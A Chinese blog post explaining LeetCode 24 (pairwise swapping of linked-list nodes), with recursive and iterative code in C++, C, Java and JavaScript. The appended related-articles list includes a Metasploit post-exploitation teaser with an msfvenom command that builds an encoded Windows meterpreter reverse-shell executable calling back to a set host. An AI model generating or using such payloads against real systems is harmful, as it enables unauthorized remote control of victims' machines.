【链表】leetcode24. 两两交换链表中的节点(C/C++/Java/Js)

news2024/11/15 22:23:14

leetcode24. 两两交换链表中的节点

  • 1 题目
  • 2 思路
  • 3 代码
    • 3.1 C++版本(递归+迭代)
    • 3.2 C版本(递归+迭代)
    • 3.3 Java版本(递归+迭代)
    • 3.4 JavaScript版本
  • 4 总结


1 题目

题源链接

给你一个链表,两两交换其中相邻的节点,并返回交换后链表的头节点。你必须在不修改节点内部的值的情况下完成本题(即,只能进行节点交换)。
示例 1:
在这里插入图片描述
输入:head = [1,2,3,4]
输出:[2,1,4,3]
示例 2:

输入:head = []
输出:[]
示例 3:

输入:head = [1]
输出:[1]

提示:

链表中节点的数目在范围 [0, 100] 内
0 <= Node.val <= 100


2 思路

这道题目正常模拟就可以了。

建议使用虚拟头结点,这样会方便很多,要不然每次针对头结点(没有前一个指针指向头结点),还要单独处理。

对虚拟头结点的操作,还不熟悉的话,可以看这篇
链表:没有路创造路–虚拟头结点
接下来就是交换相邻两个元素了,此时一定要画图, 不画图,操作多个指针很容易乱,而且要操作的先后顺序

初始时,cur指向虚拟头结点,然后进行如下三步:
在这里插入图片描述
操作之后,链表如下:
在这里插入图片描述
看这个可能就更直观一些了:
在这里插入图片描述


3 代码

3.1 C++版本(递归+迭代)

递归:画图理解

/**
 * Definition for singly-linked list.
 * struct ListNode {
 *     int val;
 *     ListNode *next;
 *     ListNode() : val(0), next(nullptr) {}
 *     ListNode(int x) : val(x), next(nullptr) {}
 *     ListNode(int x, ListNode *next) : val(x), next(next) {}
 * };
 */
class Solution {
public:
    ListNode* swapPairs(ListNode* head) {
        //递归终止条件:不需要交换的条件
        if (!head || !head->next)//头结点不存在或当前结点是尾部,不需要交换
            return head;
        //创建一个结点指针保存头结点下一个结点
        ListNode *newHead = head->next;
        //递归处理,将当前head指向更改完的后序链表
        head->next = swapPairs(newHead->next);
        //将新的头结点指向老头结点
        newHead->next = head;
        return newHead;
    }
};

递归真的很爽!!
可以把递归操作想象成超级操作,相信他一定能完成任务。

迭代:

/**
 * Definition for singly-linked list.
 * struct ListNode {
 *     int val;
 *     ListNode *next;
 *     ListNode() : val(0), next(nullptr) {}
 *     ListNode(int x) : val(x), next(nullptr) {}
 *     ListNode(int x, ListNode *next) : val(x), next(next) {}
 * };
 */
 class Solution {
public:
    ListNode* swapPairs(ListNode* head) {
        ListNode* dummyHead = new ListNode(0); // 设置一个虚拟头结点
        dummyHead->next = head; // 将虚拟头结点指向head,这样方面后面做删除操作
        ListNode* cur = dummyHead;
        while(cur->next != nullptr && cur->next->next != nullptr) {
            ListNode* tmp = cur->next; // 记录临时节点
            ListNode* tmp1 = cur->next->next->next; // 记录临时节点

            cur->next = cur->next->next;    // 步骤一
            cur->next->next = tmp;          // 步骤二
            cur->next->next->next = tmp1;   // 步骤三

            cur = cur->next->next; // cur移动两位,准备下一轮交换
        }
        return dummyHead->next;
    }
};
  • 时间复杂度:O(n)
  • 空间复杂度:O(1)

3.2 C版本(递归+迭代)

递归版本:

/**
 * Definition for singly-linked list.
 * struct ListNode {
 *     int val;
 *     struct ListNode *next;
 * };
 */
//递归版本
struct ListNode* swapPairs(struct ListNode* head){
    //递归结束条件:头节点不存在或头节点的下一个节点不存在。此时不需要交换,直接返回head
    if(!head || !head->next)
        return head;
    //创建一个节点指针类型保存头结点下一个节点
    struct ListNode *newHead = head->next;
    //更改头结点+2位节点后的值,并将头结点的next指针指向这个更改过的list
    head->next = swapPairs(newHead->next);
    //将新的头结点的next指针指向老的头节点
    newHead->next = head;
    return newHead;
}

迭代版本:

//迭代版本
struct ListNode* swapPairs(struct ListNode* head){
    //使用双指针避免使用中间变量
    typedef struct ListNode ListNode;
    ListNode *fakehead = (ListNode *)malloc(sizeof(ListNode));
    fakehead->next = head;
    ListNode* right = fakehead->next;
    ListNode* left = fakehead;
    while(left && right && right->next ){
        left->next = right->next;
        right->next = left->next->next;
        left->next->next = right;
        left = right;
        right = left->next;
    }
    return fakehead->next;
}

3.3 Java版本(递归+迭代)

// 递归版本
class Solution {
    public ListNode swapPairs(ListNode head) {
        // base case 退出提交
        if(head == null || head.next == null) return head;
        // 获取当前节点的下一个节点
        ListNode next = head.next;
        // 进行递归
        ListNode newNode = swapPairs(next.next);
        // 这里进行交换
        next.next = head;
        head.next = newNode;

        return next;
    }
} 

迭代:

// 虚拟头结点
class Solution {
  public ListNode swapPairs(ListNode head) {

    ListNode dummyNode = new ListNode(0);
    dummyNode.next = head;
    ListNode prev = dummyNode;

    while (prev.next != null && prev.next.next != null) {
      ListNode temp = head.next.next; // 缓存 next
      prev.next = head.next;          // 将 prev 的 next 改为 head 的 next
      head.next.next = head;          // 将 head.next(prev.next) 的next,指向 head
      head.next = temp;               // 将head 的 next 接上缓存的temp
      prev = head;                    // 步进1位
      head = head.next;               // 步进1位
    }
    return dummyNode.next;
  }
}

3.4 JavaScript版本

var swapPairs = function (head) {
  let ret = new ListNode(0, head), temp = ret;
  while (temp.next && temp.next.next) {
    let cur = temp.next.next, pre = temp.next;
    pre.next = cur.next;
    cur.next = pre;
    temp.next = cur;
    temp = pre;
  }
  return ret.next;
};

4 总结

本题迭代法本质就是模拟过程,还是基于对链表本身结构的了解,结合画图便不是难点。

然后你会发现当你熟悉递归的写法后,会更爽!
可以把递归操作想象成超级操作,相信他一定能完成任务。
只要确定好终止条件,具体递归的细节不用深究,(当然,可以简单模拟),写熟练后就不需要了。
养成递归思维是很有必要的,建议大家可以多看Carl老师写递归代码,递归三部曲,领悟透了会非常舒服。


关于链表,你该了解这些!

By – Suki 2023/1/9

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/151000.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Deep Learning for Image Super-resolution:A Survey

Abstract图像超分辨率技术是计算机视觉中提高图像和视频分辨率的一类重要的图像处理技术。近年来&#xff0c;深度学习技术在图像超分辨率方面取得了显著进展。本文旨在对基于深度学习的图像超分辨率研究进展进行综述。一般而言&#xff0c;我们可以将现有的SR技术研究大致分为…

C++设计模式:原型模式(详解+实现案例)

文章目录原型模式使用场景实现步骤案例一案例二优缺点原型模式 原型模式&#xff1a; 用原型实例指定创建对象的种类&#xff0c;并通过拷贝这些原型创建新的对象&#xff0c;简单理解就是“克隆指定对象” 使用场景 某些结构复杂的对象的创建工作中由于需求的变化&#xff…

QT之OpenGL光照

QT之OpenGL光照1. 冯氏光照模型概述1.1 环境光照1.2 漫反射光照1.2.1 法向量1.3 镜面光照1.4 冯氏光照公式1.5 着色器demo2. 材质2.1 demo3. 光照贴图3.1 demo4. 投光物4.1 平行光4.1.1 平行光Demo4.2 点光源4.2.1 衰减4.2.1 点光源Demo4.3 聚光4.3.1 聚光Demo4.3.2 平滑/软化边…

Ajax工作原理

Ajax工作原理 HTTP协议原理与ajax工作原理 1.什么HTTP协议 协议指的是规定浏览器跟服务器交互的数据格式 2.浏览器请求 必须是&#xff1a;请求报文 3.服务器响应 必须是&#xff1a;响应报文 4.请求报文与响应报文的数据格式如下 1.请求报文 (1)请求行 &#xff1a; 包含请…

TP4054国产替代DP4054 500mA 线性锂电充电芯片

DP4054 是一款完整的采用恒定电流/恒定电压单节锂离子电池充电管理芯片。其SOT小封装和较少的外部元件数目使其成为便携式应用的理想器件&#xff0c;DP4054 可以适合USB 电源和适配器电源工作。由于采用了内部PMOSFET 架构&#xff0c;加上防倒充电路&#xff0c;所以不需要外…

Msf后渗透测试阶段

● 已经获得目标系统控制权后扩大战果 ○ 提权 ○ 信息收集 ○ 渗透内网 ○ 永久后门 ● 基于已有session扩大战果 msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST1.1.1.1 LPORT4444 -b "\x00"-e x86/shikata_ga_nai -f exe -o 1.ex…

重发布-路由策略实验2(1.8)

目标&#xff1a; 1、首先对每个路由器进行接口ip的配置 r1&#xff1a; [r1]interface GigabitEthernet 0/0/0 [r1-GigabitEthernet0/0/0]ip add 12.1.1.1 24 [r1-GigabitEthernet0/0/0]int gi 0/0/1 [r1-GigabitEthernet0/0/1]ip add 13.1.1.1 24 [r1-GigabitEthernet0/0/1…

LinkedList与单向链表(二)(双向链表)

1.ListedList的模拟实现package Demo1;/*** Describe:双向链表的简单模拟实现* User:lenovo* Date:2023-01-08* Time:11:20*/ class Node {int val;Node prev;Node next;public Node(int val) {this.val val;}public Node() {} } public class MyLinkedList {Node first;Node …

Linux--权限

一、目录权限 文件的权限描述符&#xff0c;由10个字母组成 如下图所示&#xff0c;可以按照1-3-3-3的结构划分&#xff0c;用rwx表示拥有权限&#xff0c;r代表read&#xff08;可读&#xff09;&#xff0c;w代表write&#xff08;可写&#xff09;&#xff0c;x代表execut…

Python高阶技巧(十二)

python学习之旅(十二) &#x1f44d;查看更多可以关注查看首页或点击下方专栏目录 一.闭包 可以保存函数内变量&#xff0c;不会随着函数调用完而销毁 (1) 基本定义 在函数嵌套的前提下&#xff0c;内部函数使用了外部函数的变量&#xff0c;并且外部函数返回了内部函数&#x…

万字长文,带你从0到1的了解商业智能BI

借助互联网技术的发展&#xff0c;每天我们都会接触到大量的信息&#xff0c;信息的增长速度可以说是海啸级的。在这样一个信息爆炸的时代&#xff0c;掌握怎样利用数据就相当于掌握了一项生存技能&#xff0c;很多可以发掘并充分利用数据的企业会发现自己远远领先于竞争对手。…

Android 反编译初探-基础篇

前言 本文目标&#xff1a; 工具&#xff1a;介绍反编译需要用到的工具原理&#xff1a;反编译基本原理实践&#xff1a;替换一个未混淆&未加固apk的启动页面 工具 1.Android Studio 版本&#xff1a;Android Studio Dolphin | 2021.3.1 Patch 1 2.Jadx Class Decomp…

go 数组(array)和切片(slice)

文章目录数组ArraySlice 切片appendcopy&#xff08;切片复制&#xff09;goto数组Array 和以往的数组有很大的不同 数组时值类型&#xff0c;复制和传参会复制整个数组&#xff0c;而不是指针数组长度必须是常量&#xff0c;且是类型的组成部分。[2]int和[3]int是不同的数据…

Vue中Vue.use()的原理及基本使用

目录 &#x1f525; 前言 1. 举例理解 2. 源码分析 &#x1f525; 小结 相信很多人在用Vue使用别人的组件时,会用到 Vue.use() ,例如&#xff1a;Vue.use(VueRouter)、Vue.use(MintUI)&#xff0c;这篇文章主要给大家介绍了关于Vue中Vue.use()的原理及基本使用的相关资料&a…

Mysql索据-Mysql的innodb引擎为什么要使用b+tree作为索引数据结构?

目录 索引&#xff1f; 什么是索引&#xff1f;索引有什么优点&#xff1f;索引有什么缺点&#xff1f; 索引的分类 按照功能分类&#xff1a; 按照数据结构分类 相关数据结构&#xff08;b-tree、btree&#xff09; b-tree btree b-tree和btree的区别 为什么Innodb要…

65. 锚框的代码实现

目标检测算法通常会在输入图像中采样大量的区域&#xff0c;然后判断这些区域中是否包含我们感兴趣的目标&#xff0c;并调整区域边界从而更准确地预测目标的真实边界框&#xff08;ground-truth bounding box&#xff09;。 不同的模型使用的区域采样方法可能不同。 这里我们…

TiDB学习笔记(八)-数据库故障处理

一、数据丢失快速恢复 数据恢复前置条件-GC&#xff0c;tidb_gc_life_time 查询GC已经清理的时间点tikv_gc_safe_point 数据快速恢复操作方式 DML->tidb_snapshot参数 &#xff08;在tikv_gc_safe_point范围内&#xff09; DDL->flashback table/recover table (flas…

AIGC与搜索深度融合,百度定义“生成式搜索”

设想一下&#xff0c;当你搜索“公司活动通知怎么写”时&#xff0c;搜索引擎直接“写”了一篇送到眼前是什么体验&#xff1f;百度的“生成式搜索”正在让这样的场景成为现实。日前&#xff0c;百度宣布&#xff0c;百度搜索将升级“生成式搜索”能力&#xff0c;基于百度自研…

项目管理工具dhtmlxGantt甘特图入门教程(七):在服务器上使用甘特图

dhtmlxGantt是用于跨浏览器和跨平台应用程序的功能齐全的Gantt图表&#xff0c;可满足项目管理控件应用程序的所有需求&#xff0c;是最完善的甘特图图表库。 这篇文章给大家讲解如何在服务器上使用DHTMLX Gantt 。 DhtmlxGantt正版试用下载&#xff08;qun&#xff1a;764…

Cadence PCB仿真使用Allegro PCB SI元器件类别设置为IO,IC和Discrete的方法图文教程

⏪《上一篇》   🏡《总目录》   ⏩《下一篇》 目录 1,概述2,配置方法3,总结1,概述 本文简单介绍使用Allegro PCB SI软件配置电压地网络电压的方法。 2,配置方法 第1步:打开待仿真的PCB文件,并确认软件为Allegro PCB SI 如果,打开软件不是Allegro PCB SI则可这样…